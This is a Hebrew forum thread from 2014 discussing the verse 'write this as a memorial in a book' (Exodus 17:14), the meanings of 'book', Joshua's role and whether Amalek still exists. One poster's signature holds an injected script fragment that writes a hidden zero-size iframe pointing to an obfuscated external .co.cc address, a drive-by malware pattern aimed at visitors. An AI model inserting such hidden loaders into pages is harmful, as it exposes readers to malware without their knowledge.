| נשלח ב-12/1/2014 10:57 |
 |
| |
כתב זאת זיכרון בספר
סוף פרשת בשלח פרק יז פסוק יד
" ויאמר ה אל משה כתב זאת זיכרון בספר ושים באזני יהושע ,כי מחה אמחה את זכר עמלק מתחת השמים"
ונסתפקתי באיזה ספר מדובר,ואם נאמר בספר התורה אפה שאכן זה כתוב ,למה לנו צווי מיוחד,הרי כל דברי ה נכתבו בספר התורה, ולא מצינו צויי מיוחד על זה
|
|
|
|
| נשלח ב-12/1/2014 11:55 |
|
| |
מסתמא, בעוד ספר, הספרים הנוספים מופיעים גם בהמשך. ועוד -כי הרי התורה טרם נכתבה-
השאלה היא בעצם כבר נשאלה- אם כתוב בספר -למה לשים באזני יהושע? הרי לא יהושע היה אמור למחות את זכר עמלק,?
ועוד שאלה הכתוב כותב מלחמה לה' בעמלק מדור דור, היה צריך להיות כתוב לדור דור,?
|
|
|
|
| נשלח ב-12/1/2014 12:33 |
|
| |
לגבי מה ששאלתי ,לא מבין עדין למה ספר התורה לא מספק את הזיכרון,
לגבי השאלה על עמלק,הכוונה שהמלחמה של ה בעמלק היא בתפישה של הדר דר שעמלק מיצג, באופן שבריאת הזמן היא היסוד לקיום בריאה נפרדת מה' שמתנהלת בחוקים קבועים של זמן
וכמן שהתורה מדגישה כמה פעמים "אשר קרך בדרך"" ,
באופן שאף שזיכרון האדם יוצר מודעות עצמית בעקבות צירופי הזמן, תמיד צריך לשלב את הטבע אם האחדות האלוקית וזה שלמות המידות נצח והוד וסוד העבור בין השמש והירח,שיתגלה לעת"ל בחינת "והיה אור הלבנה כאור החמה"
ועמלק צידדו שה' עזב את העולם והניח אותו למקרי הזמן
ולכן מלחמה בעמלק על תפישת העולם של דור דור ודו"ק
|
|
|
|
| נשלח ב-12/1/2014 12:47 |
|
| |
ומה עם ספר מלחמות ה'? ספר הברית ספר הישר וכד'
אני בפשוטם של מקראות עוסק, לא בסודות- כשעוסקים בסודות אין שאלה ואין תשובה, הכל אפשרי
כשכותבים לאחר המלחמה צריך להיות כתוב לדוד דור ולא מדור דור,
|
|
|
|
| נשלח ב-12/1/2014 17:24 |
|
| |
עתיק
ברוך הבא אל הפורום!
יפה שאלת.
כמדומה שיש כאן כמה שאלות מעניינות, חלקן הזכרת במפורש וחלקן מוסיף אני.
ואמנם הדיון מתרחב מאד, ואני מקוה שלא אכפת לך. זו הזדמנות לארגן ידע שימושי, גם עבורי וגם עבור אחרים. ומי שמעוניין יקרא. השתדלתי לכתוב ברור אם כי זה יצא, כהרגלי, קצת ארוך.
א. איך משתמשים במילה "ספר".
ב. איך נכתבו ספרים ומגילות ועל מה?
ג. אלו ספרים נזכרו בחמישה חומשי תורה?
ד. כיצד שומרים ספר ועד כמה זמן והיכן שומרים אותו? האם יש לכך הלכות?
ה. מה בין הספרים שנזכרים בחומשי התורה (אני מתאמץ לא להשתמש במילה "ספר" כדי לא לבלבל) לבין מצות ספר התורה המוכרת לנו מן המסורת וההיסטוריה וההלכה?
***
מהו ספר
המונח הפשוט "ספר" שאנו רגילים בו - לומדים אותו בתור ילדים כספר כרוך ומודפס - מציין דברים רבים ושונים, שיש להם משותף, ואולי כמה דברים במשותף, ולאו דווקא אלו שהורגלנו בהם.
אני מעתיק ממלון אבן שושן
(ז') [אוגריתית: ספר; אכדית: šipru משלוח הודעה; ארמית: סִפְרָא; ערבית: סִפְר]
1. [בימי קדם] אִגֶּרֶת, מִכְתָּב שָׁלוּחַ אֶל מִישֶׁהוּ כָּתוּב עַל לוּחַ שֶׁל חֶרֶס, עַל מְגִלַּת קְלָף וְכַדּוֹמֶה: "וַיִּכְתֹּב דָּוִד סֵפֶר אֶל-יוֹאָב" (שמואל ב יא יד). "וַתִּכְתֹּב סְפָרִים בְּשֵׁם אַחְאָב וַתַּחְתֹּם בְּחֹתָמוֹ" (מלכים א כא ח).
2. לוּחַ שֶׁל חֹמֶר, מְגִלַּת קְלָף אוֹ חֹמֶר אַחֵר כַּיּוֹצֵא בָּאֵלֶּה שֶׁנִּכְתְּבוּ עֲלֵיהֶם דְּבָרִים לְזִכָּרוֹן: "כְּתֹב זֹאת זִכָּרוֹן בַּסֵּפֶר" (שמות יז יד). "הֲלֹא-הֵם כְּתֻבִים עַל-סֵפֶר דִּבְרֵי שְׁלֹמֹה" (מלכים א יא מא).
3.ח [בימינו] דְּבָרִים מֻדְפָּסִים (בַּדּוֹרוֹת שֶׁעָבְרוּ גַּם כְּתוּבִים בִּכְתַב יָד) עַל גַּבֵּי גִּלְיוֹנוֹת נְיָר מְקֻפָּלִים וּגְזוּרִים לְדַפִּים, מְדֻבָּקִים אוֹ תְּפוּרִים וּמְכֹרָכִים יַחַד: סִפְרִיָּה לְהַשְׁאָלַת סְפָרִים. סֵפֶר פָּתוּחַ. אָרוֹן לִסְפָרִים. סֵפֶר שִׁירִים. קָרָאתִי סֵפֶר מְעַנְיֵן. הַסּוֹפֵר כָּתַב סֵפֶר חָדָשׁ. סֵפֶר לִמּוּד.
המונח "ספר" עשוי לציין את ה"חומרה" ואת התכולה. וכפי שמתבאר מן הדוגמאות, אין המונח הזה מעיד בהכרח על דבר שנועד לקיום.
המונח "ספר" יכול לציין את הטקסט שעליו (או בו) או את החומר שבו השתמשו לכתיבה ובהתאם לצורת הכתיבה והשימור (מגילה ארוכה, דפים מאוגדים).
***
ב. איך נכתבו ספרים ומגילות ועל מה? כפי שמעידות הדוגמאות מאבן שושן, הטקסט יכול להיכתב על חומרים שונים, תלוי ביכולות של התרבות, בחומרים שעמדו לרשותה, בטכנולוגיה ועוד. לפיכך יש מקומות שבהם כתבו על לוחות חימר (בבל), מקומות שבהם כתבו על קני סוף מעובדים (מצרים), מקומות שבהם כתבו על עור ועוד. ובימינו נהגו לכתוב על נייר ולהדפיס, או - במחשב. או - באינטרנט. *** ג. אלו ספרים נזכרו בחמישה חומשי תורה? לצערי מספר התשובות לשאלה "כמה פעמים נזכר המונח 'ספר' בתורה" עולה על 300. ואיני יודע איך מחפשים עם ניקוד. אך כמה דוגמאות. בפרשת סוטה יש ספר שנועד לקיום קצר מועד. במדבר פרק ה
(כג) וְכָתַב אֶת־הָאָלֹת הָאֵלֶּה הַכֹּהֵן בַּסֵּפֶר וּמָחָה אֶל מי הַמָּרִֽים:
הספר הוא טקסט כתוב על חומר ובדיו שהוא בר מיחוי במים. וכמסתבר מדובר בעור. יש ספרים המזוהים לפי הטקסטים שלהם, כמו "ספר הברית" ועוד, שכבר הוזכרו לעיל. כן כתבו גם חוקרים שלעם ישראל היו מסורות על פה ואפשר שהיו גם מסורות כתובות. לא ידוע לי אם המונח "ספר" יכול להתייחס לטקסט במסורת (כמו סיפורי עם). לפי זה, ההוראה לכתוב "בספר" עשויה להתייחס להעלאת הדברים על הכתב באופן שיישמרו, כפי שהיתה הוראה לשמירת צנצנת המן. *** ד. כיצד שומרים ספר ועד כמה זמן והיכן שומרים אותו? האם יש לכך הלכות? אין לי כאן אלא דברי סברה, וכפי שאנו רואים מהיחס לספרים בתקופה שעדיין כתבו אותם ביד. מדובר במצרך נדיר ורב ערך. דוגמא לדבר היחס לספרים - שהיו בכתבי יד כמובן - המוצג לנו דרך ספר חסידים. אוסף של כתבי יד של גמרא וכיו"ב מן המסורת או כתבי יד אישיים של אלו שלמדו חידושים ופלפולים מרבותיהם. ור' יהודה החסיד קורא לבעליהם להשאילם ולא לחוס על הספר העלול להתקלקל. משמע שזה היה חשש מרכזי. ברומא כתבו ספרי היסטוריה כדי להשאיר מורשת וליפות את שמו של המזמין, כמו ספרי המלחמות של המצביאים (כגון זכרונותיו של יוליוס קיסר). בשל העלות הגבוהה ובשל המטרה של הכתיבה, ספרים נועדו להישמר. כאשר הניסוח קובע, היתה זהירות רבה בכתיבה, כפי שמצאנו באיסור שדרשו חכמים על כתיבת תורה שבעל פה. וזה נושא הראוי לעיון נפרד. עם זאת, היו כתבים שנועדו לטווח קצר, בין לאימונים של תלמידים בכתיבה (ששרדו והם עדות לחיים בבית ספר של תלמידי כתיבה, מובא בספרו של הררי), בין כמובן ולהבדיל מגילת סוטה. בתורה עצמה מצאנו חובה להקים אבנים שעליהן תיכתב התורה עם כניסת עם ישראל לארץ. *** ה. מה בין הספרים שנזכרים בחומשי התורה (אני מתאמץ לא להשתמש במילה "ספר" כדי לא לבלבל) לבין מצות ספר התורה המוכרת לנו מן המסורת וההיסטוריה וההלכה? המסתבר ביותר לדעתי הוא שהיו מסורות בעם ישראל שחלקן היו כתובות ומכאן "ספר הישר" שמשה קרא ממנו, אם כי יתכן גם כדברי חז"ל שהיה זה סיפור הדברים, הקורות עד ליציאת מצרים ועד לאותו הזמן שנכתבו בידי משה (וקריאה כזו היתה אורכת זמן רב). עם נתינת התורה נקבעה גם מצוה להעתקת ספר התורה כדי להפיץ תורה בישראל עם הדינים המוכרים לנו (או ראויים שיהיו מוכרים). כיון שמצות כתיבת התורה ניתנה בזמן עתיק, אנו ממשיכים לכתוב במגילה שאותה צריך כל פעם לגולל עד למקום הקריאה הדרוש. הרבה יותר נוח ללמוד מספר עם עמודים ומספרים ותוכן ענינים, שאפשר לפתוח היישר במקום הדרוש. (ועם גופן נוח לקריאה). וכמובן, אנו עוברים היום את המהפכה האחרונה שבה הספרים כתובים בטכנולוגיה שאיני יודע מהי בתוך המחשב והאינטרנט, ולכן אפשר לחפש בהרבה ספרים במקביל. אבל מסורת כתיבת ספר התורה נשארה כשהיתה, ומלבד השמרנות המתודולוגית יש כאן גם טעם של התחברות אל העבר. *** שורה אחרונה: המילה "ספר" יכולה לציין טקסט, חומר וצורת כתיבה של טקסט, או שניהם יחד. ספר יכול להיות איגרת או טקסט להעתקה קצרת מועד או טקסט שנועד לשימור לאורך זמן כדי להעביר מסרים. המילה "ספר" בתורה מציינת עתים מסורת כתובה הנשמרת לאורך זמן ולעתים טקסט קצר מועד. ___תוקנה העתקה לא ברורה______________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 12/01/2014 17:28:06
תוקן על ידי מיימוני ב- 12/01/2014 17:28:46
 |
|
|
|
|
| נשלח ב-12/1/2014 19:49 |
|
| |
כתב זאת - מה שכתוב כאן, זכרון - מה שכתוב במשנה תורה, בספר - מה שכתוב בנביאים, דברי רבי יהושע. רבי אלעזר המודעי אומר: כתב זאת - מה שכתוב כאן ובמשנה תורה, זכרון - מה שכתוב בנביאים, בספר - מה שכתוב במגילה (מגלה ז). כלומר, בשלשה מקומות יש להזכיר מלחמת עמלק, לדעת רבי יהושע בספר שמות ובספר דברים ובספר שמואל, ולדעת רבי אלעזר המודעי בחומש ובספר שמואל ובמגלת אסתר.
|
|
|
|
| נשלח ב-12/1/2014 20:12 |
|
| |
למה לכתוב ולשים באוזן? לא מספיק לכתוב.
|
|
|
|
| נשלח ב-12/1/2014 22:11 |
|
| |
בעקבות דברי הגמרא שהביא מ 80, התעוררתי לבאר
את שאלת ירוחם{ אגב האם קראת לך ירוחם על שם סלמון ירוחם?]
ע"פ הסודות"שכתבתי לעיל, שכיון שבמשך השנים הנהגת ה' הניסית שהיא מעל הזמן והטבע פחות ופחות הורגשה בעולם היה צורך לחזק את המסר שבסופו של דבר אחדות ה' תתגלה וימחה זכר עמלק וזה אכן מתברר במגילת אסתר שה' התערב בדרך ניסית {אע"פ שלא כל אחד רואה זאת..} וזה בעצם מסר לכל הדורות מאסתר והלאה שלא זוכים לראות מלכות ה' בעולם ואדרבה מלכות עמלק ותפיסת העולם כטבע מתגברת מדר לדור..
שים באזני יהושע לאמור כי מחה אמחה את זכר עמלק ... בקרוב בימינו אמן.
|
|
|
|
| נשלח ב-12/1/2014 22:13 |
|
| |
תודה הרב מיימוני על הקבלת פנים.. נ.ב. מפני מה כל העיצוב של הטקסט שאהי כותב נעלם בתצוגה בפורום?
|
|
|
|
|
| נשלח ב-12/1/2014 23:52 |
|
| |
השאלה שלי נשאלה ונשארה כשאלה, תמה אני עליך מ יקירי בר אורין- כי אינך עונה על השאלה, למה היו צריכים גם לכתוב בספר וגם לשים באוזן.
עתיק -עמלק איננו כבר מזמן- ואתה מציין זאת כל בוקר בתפילה בשחרית- הוא קיים ושמו קיים וכסאו נכון,
כנגד יד על כס יה.
|
|
|
|
| נשלח ב-13/1/2014 00:22 |
|
| |
ירוחם,
כי יש תורה שבכתב ותורה שבעל-פה ושתיהן תורה אחת, שנאמר משה קיבל תורה מסיני ומסרה ליהושע.
|
|
|
|
| נשלח ב-13/1/2014 00:43 |
|
| |
קיים כן, שלם לא. וכי לדעתך אין תכלית יותר שלמה מהמצב העכשווי של העולם?
אכן זה מעיד על כוחו של עמלק שעדין לא נמוג...
|
|
|
|
| נשלח ב-13/1/2014 09:30 |
|
| |
עתיק
א. לגבי עיצוב, עדיף שלא תעצב. בפורום שלנו העיקר הוא התוכן ולא צורת ההגשה בגופן ובהדגשה כזו או אחרת.
אמנם מותר ואף ראוי לסמן ציטוטים בהדגשה (כך אני עושה) או בגופן אחר (מי שיודע). ממה שאני מכיר, אפשר לבזבז הרבה זמן על עיצוב ולא כדאי.
ועיצוב חריג מפריע.
ב. לגבי שרידותו של עמלק.
אני מסכים עם ירוחם. חז"ל קבעו כי "בא סנחריב ובלבל את האומות". גם אם אי פעם אפשר היה לזהות עמים לפי המשכיות מאבות ראשוניים של השבט, העולם השתנה, כבר בתקופה העתיקה, והכלל הזה אינו נכון.
ממילא אין עוד ישות כזו, "עמלק". וזה נכון לגבי עמים רבים מאד, שהם הרכבה. למשל, תושבי אנגליה, עוד לפני הפשיטה המוסלמית לאירופה של היום. וכן בארצות רבות.
עמלק הפך לסמל, כמו שעשו הפך לסמל. וכפי שממשיכים לחפש את ארבע המלכויות מחזונו של דניאל כדי לנחש מתי סוף סוף יבוא המשיח לאחר שארבעתן תיבטלנה.
בפועל, עשו היה אדם פרטי, בנו של יצחק ואחיו של יעקב, אדם לא תמיד הכי סימפטי ולא בדיוק בן ראוי להמשיך את דרך אברהם, אבל בהחלט לא רשע כפי שהוא מוצג במדרשים, אלא לפי עדותם של הכתובים. העוולה היחידה שאפשר למצוא בו היא שהוא כל כך כעס על יעקב עד שאמר שיהרגנו. ואפשר להבין את הכעס אם גם לא להצדיק את התגובה.
כאשר נפגשו לאחר עשרות שנים, היה מלא אהבה כלפיו, כפי שמעיד סיפור המפגש.
חז"ל מאנו לקבל את דמותו של עשו באופן הזה, וכמסתבר בגלל שעשו הפך לסמל של רוע. גם בדברי הנביאים שלא יכלו לסלוח לעם האדומי על רעות שעשה לעם ישראל.
וחז"ל גם השתמשו בעשו בתור סמל למלכות רומא, שגם היא פגעה בנו רבות.
ומאז עשו ועמלק והדומים להם הפכו לסמלים. ועם הופעת הקבלה (המאה ה12 ואילך) הסמלים האלו מציינים לא רק ישויות היסטוריות כמו עמים שאינם קיימים, אלא גם כוחות של רוע בעולמות עליונים, במסגרת מה שהוא, לצערנו, גנוסטיקה יהודית (גילוי נאות: זו דעת הכותב, שמעוררת אי הסכמה ורגשות קשים אצל רבים מחברי וקוראי).
בכל אופן, יש להבדיל בין הדמויות ההיסטוריות והעם ההיסטורי שנעלמו להם לבין הסמלים. וזה מה שבאתי לומר.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-13/1/2014 11:12 |
|
| |
מ ידידי היקר האם אתה מוצא עוד פעם בתורה שים באוזני יהושוע או באוזני אחר? תשובתך אכזבה אותי, ממך ציפיתי ליותר. בשביל תשובה, נשאל עוד שאלה- מה פרוש באזני יהושוע? למה לא באזני העם? כידוע התורה לא מנוקדת, ולכן היה אפשר לטעות ולקרא זכר בקמץ ולא בסגול כפי שבאמת קרה ליואב. בבא בתרא דף כא. ששת חדשים ישב שם יואב וכל ישראל עד הכרית כל זכר באדום, כי אתא לקמיה דדוד, אמר ליה: - ב - מאי טעמא עבדת הכי? אמר ליה, דכתיב: תמחה את זכר עמלק. אמר ליה: והא אנן זכר קרינן! א"ל: אנא זכר אקריון. אזל שייליה לרביה, אמר ליה: היאך אקריתן? אמר ליה: זכר. שקל ספסירא למיקטליה,
ולכן מקפידים לקרא את זכר כמה פעמים.
ולמה באזני יהושע- כי הוא היה מצביא הצבאי- זה תפקידו של המצביא הצבאי לדורות, ולא של הפרט.
|
|
|
|
| נשלח ב-13/1/2014 13:36 |
|
| |
למיימוני, אכן גם כוונתי למסר ולתפישת עולם של עמלק, ושחז"ל אמרו אין השם שלם ואין הכסא שלם גם
התכוונו לתפישת עולם של עמלק
שבסופו של תהליך בהתגלות ה' "ביום ההוא יהיה ה' אחד ושמו אחד" תעלם מעל הארץ גישה זו,במהרה בימנו אמן.
בקשר לעיצוב כיוונתי לרווחים וכדומה ,לא לעיצוב גרפי כמובן ,
|
|
|
|
| נשלח ב-13/1/2014 14:15 |
|
| |
כתוב זאת זכרון בספר, שתכלית התורה שימלא כבוד ה' את כל הארץ וכל העולם יקבל את עול מלכותו, ואילמלא ציוה הקב"ה לזכור את תכלית התורה, אפשר היה בשוגג לסבור כי די בכך שיהודים ילמדו תורה ויקיימו מצוות בקטנות מוחין דגלות מבלי לרצות להיות בני חורין בא"י ולבנות מדינה יהודית בדרכי התורה ולתקן את כל מה שמקולקל בעולם כולו, ושים באוזני יהושע, כי מכל תלמידיו של משה מדור המדבר היה היחיד הראוי לכך.
|
|
|
|
|
